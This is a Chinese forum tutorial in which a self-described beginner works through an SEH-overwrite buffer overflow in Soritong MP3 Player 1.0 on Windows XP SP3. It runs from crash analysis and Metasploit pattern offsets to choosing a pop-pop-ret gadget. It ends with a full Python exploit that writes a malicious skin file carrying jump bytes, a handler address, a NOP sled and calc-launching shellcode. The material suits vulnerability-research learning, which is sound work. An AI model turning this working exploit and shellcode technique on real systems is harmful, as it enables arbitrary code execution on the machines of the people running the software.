首页
社区
课程
招聘
[原创]EXP编写学习 之 SEH利用 (二)
2022-4-29 21:25 8541

[原创]EXP编写学习 之 SEH利用 (二)

2022-4-29 21:25
8541

前言

我是逆向练习生,羽墨。

 

我正在从0开始学习二进制漏洞,如果你也跟我一样,不妨来看看小白学习的第一视角


环境配置

软件 版本
虚拟环境 windows xp sp3
漏洞软件 Soritong MP3 player 1.0 上传到附件了
调试器 windbg xp版 , x32dbg
反汇编 IDA

SEH基础知识

1.windbg随便加载一个程序,命令dt _TEB , 偏移0处的数据 就是SEH链表 (需要有ntdll符号 我没记错的话,ld *ntdll 即可下载,前提是配置好符号服务器)

1
2
3
4
5
6
7
8
9
10
11
12
13
_TEB
+0x000 NtTib            : _NT_TIB
 
//SEH链表
0:000> dt _NT_TIB
ntdll!_NT_TIB
   +0x000 ExceptionList    : Ptr32 _EXCEPTION_REGISTRATION_RECORD
 
//SEH链表结构  下一个结构的指针与回调函数的地址
0:000> dt _EXCEPTION_REGISTRATION_RECORD
ntdll!_EXCEPTION_REGISTRATION_RECORD
   +0x000 Next             : Ptr32 _EXCEPTION_REGISTRATION_RECORD
   +0x004 Handler          : Ptr32     _EXCEPTION_DISPOSITION

2.SEH的链表结构如上所示, Next代表下一个SEH结构 ,Handler 代表本函数内的异常处理例程

 

3.SEH是以函数为单位,也就是一个函数只能有一个SEH结构,如果本函数内的异常处理例程没有处理这个异常,则去寻找Next记录的下一个SEH结构,如果最后都没有处理,就交给系统的默认异常处理

 

4.系统的默认异常处理, Next 为FFFFFFFF , Handler 为系统默认处理例程,也就是会给你弹一个框,并结束进程

 

5.SEH会在函数入口注册,函数出口注销,会出现有关fs:[0]的操作 , 简单点说就是把上述的SEH记录指向自己在栈中的SEH结构,然后自己再指向原来的SEH结构


测试漏洞

1.用py生成一个测试文件

1
2
3
4
5
6
7
8
9
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
char = b"\x41" * 5000
Fileptr = open(r'UI.txt','wb+')
Fileptr.write(char)
Fileptr.close()
 
print("CreatFile Success")

2.把这个文件替换 skin\default\UI.txt ,然后打开程序 ,默默的崩溃了,输入!exchain 查看, SEH结构被覆盖了

 


漏洞分析

1.用x32dbg打开程序运行,异常断下,可以看到断在 422E33处,好的,在这个地址下断,重新调试 断下来后单步运行

 

 

查看栈中数据,距离ESP最近的异常处理为 终极异常,再查看触发异常的指令,mov byte ptr [eax],dl , 查看寄存器, 把dl的值放入eax的地址。

 

2.单步运行后,发现esi寄存器指向了一串A字符,继续运行发现这是一个循环,把esi的值拷贝到栈上,并且判断是否为0x0A 0x0D,如果是则跳出循环

 

 

之前崩溃时eax的值为130000 , 栈底的地址ebp为12Fxxx , 拉到栈的最下面,发现将近130000,但是没到,所以可以推断,崩溃原因为把数据放到了无效的内存地址,触发访问异常

 

3.循环时取消断点,直接运行,再次断下

 

 

如果你按的时候看一眼下边,会发现先出现异常位于422E33 ,然后再按F9 ,异常位于41414141,根据之前的推测,在触发访问异常后,程序进入了异常处理流程,但是异常处理例程为无效地址,所以又触发了异常,程序崩溃

 

4.查看SEH链,发现是在栈中 12FD64的位置, 崩溃时在往 130000的位置赋值,已经超过了。所以可以断定,这个漏洞可以利用SEH来进行利用

 


漏洞利用

1.在程序进入41414141地址时的异常断下别动,查看栈中的数据

 

 

可以看到,返回地址为ntdll的某个地址,之后紧跟之前的SEH结构地址12FD64,并且看到这个系统函数也注册了SEH,且指向我们原来的SEH结构(栈上的数据为异常处理例程的一些参数,不展开分析了)

1
2
3
4
5
6
7
//异常处理函数模型
EXCEPTION_DISPOSITION __cdecl _except_handler(
        _In_ struct _EXCEPTION_RECORD* _ExceptionRecord,
        _In_ void*                     _EstablisherFrame,
        _Inout_ struct _CONTEXT*       _ContextRecord,
        _Inout_ void*                  _DispatcherContext
        );

2.利用思路

 

所以现在我们有了一个利用思路,在异常处理函数中构造 pop pop ret , 刚好把EIP覆盖为 12FD64 ,然后在12FD64处 ,写入短跳转指令,越过Handler,执行shellcode 。

 

好的, 简单描述一下

1
2
3
4
addr:12FD64         |Next            JMP 12FD6C  越过4个字节
addr:12FD68      |Handler        pop pop ret 指令的地址
addr:12FD6C      |NOP
addr:12FD70      |Shellcode

3.精确覆盖SEH

 

这里就需要使用msf的 pattern的那两个工具了 ,打开kali

1
2
cd /usr/share/metasploit-framework/tools/exploit
./pattern_create.rb -l 5000 > /home/kali/Desktop/UI.txt

把这个txt,替换,打开漏洞程序,第一次异常时断下,查看SEH链

 

 

可以看到 Handler = 41367441 Next = 35744134 , 接下来去kali 确定偏移

1
2
3
4
5
./pattern_offset.rb -q 41367441 -l 5000                          
[*] Exact match at offset 588
 
./pattern_offset.rb -q 35744134 -l 5000
[*] Exact match at offset 584

好的 现在得到了偏移量, Next offset为 文件偏移584 处 , Handler offset 为 文件偏移588处

 

4.主食准备好了,还需要一些小菜,

  • pop pop ret 指令的地址
  • 需要的机器码

用x32dbg搜索吧,也挺好用的,同时在调试器中,确定一下机器码

 

 

选中一个地址 右键 汇编, 输入想要的指令 确定

 

 

好的,得到了pop pop ret 机器码, 58 5B C3

 

然后相同的方法,在422E40输入,jmp 0x422E44 ,得到了 EB 02 ,好的,其实这个指令不对, 跳转指令是从指令开始的地址计算的,所以机器码02为指令结束后 跳过两个字节

 

 

所以我们需要输入 jmp 0x422E46 ,得到 EB 04 , 好的, 其实还不对 (手动笑嘻嘻)

 

因为短跳指令只有两个字节, 但是 需要覆盖的地方是 四个字节,那么怎么办, 填两个90 也就是nop指令 ,那跳转指令再跳过去两个字节,就是 EB 06 了

 

好的,现在来手动修改栈中的值,看看什么情况

 

 

内存窗口转到这个地址,准备修改的时候发现,这个数据好像反了。。 没错 ,就是这样,x86架构CPU为小端序存储数据,简单的说,就是读一个int值,那么要以字节为单位,从右到左读 , 也就是 35 74 41 34 ,栈中的数据已经被调试器转换过了

 

那么应该怎么覆盖这个位置的数据 , 覆盖为 EB 06 90 90 即可 , 什么? 我没有转换字节序?

 

好的好的,其实不需要转换 , 读指令是正着读的(手动狗头保命)

 

现在还需要一个rop rop ret指令序列的地址 , 刚才已经得到了机器码 ,58 5B C3 ,在X32dbg 搜索一波,最好搜索程序自带模块

 

 

如果搜不到 更换指令序列,这里我使用了 5F 5E C3 ,地址为1001E812

 

 

说一下注意的东西 , 地址不能有NULL ,且模块没开启safeSEH ,后面遇到再分析 ,本例使用程序自带模块即可

 

同时,结合之前的漏洞分析, 如果文本中有 0xA (\n)0xD(\r) 就会停止复制 , 所以EXP中不能出现 0x00 0x0A 0x0D

 

5.请出pycharm,写出最后的EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/usr/bin/python
# -*- coding: UTF-8 -*-
 
prefix = b'\x41' * 584
prefix2 = b'\x42' * 2000           #最后的填充,不然触发不了异常。。。
 
Next = b'\xEB\x06\x90\x90'
Handler = b'\x12\xe8\x01\x10'      #地址要小端序 因为地址作为一个dword值读取
nops  =  b'\x90' * 20
 
#shellcode为已经精心构造后的弹出calc指令(只限 xp sp3),遇到需要编码的时候会再研究
shellcode = \
    b"\x55\x8B\xEC\x33" \
    b"\xC0\x50\xB8\x2E" \
    b"\x65\x78\x65\x50" \
    b"\xB8\x63\x61\x6C" \
    b"\x63\x50\x8B\xC4" \
    b"\x6A\x05\x50\xB8" \
    b"\xAD\x23\x86\x7C" \
    b"\xFF\xD0\x33\xC0" \
    b"\x50\xB8\xFA\xCA" \
    b"\x81\x7C\xFF\xD0" \
    b"\x8B\xE5\x5D\x33"
 
 
Fileptr = open(r'UI.txt','wb+')
Fileptr.write(prefix + Next + Handler + nops +shellcode + prefix2)
Fileptr.close()
 
 
print("CreatFile Success")

6.生成EXP ,打开测试 , 弹出计算器,由于我的Shellcode最后调用了ExitProcess 所以没有弹出崩溃窗口

 

结语

1.如果你是新手,跟着笔者的文字叙述与图片,一步一步来,不懂的时候,迷茫的时候先别着急,一不小心就走入岔路了

 

2.篇幅虽少,但是应该说明白了,笔者的文章风格,是尽可能的用最少的文字,让读者轻松的学会这个知识(遇到一个知识点就展开讨论,会增加理解负担,并且文字太多也会加重阅读负担,这也是我坚持传图片的原因,传图片真的很累。。。)

 

3.文章中的一些小细节需要读者自己去尝试并总结,相信对你会有帮助

参考资料

看雪 EXP编写系列教程 第三章


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

最后于 2022-5-3 16:35 被yumoqaq编辑 ,原因:
上传的附件:
收藏
点赞5
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回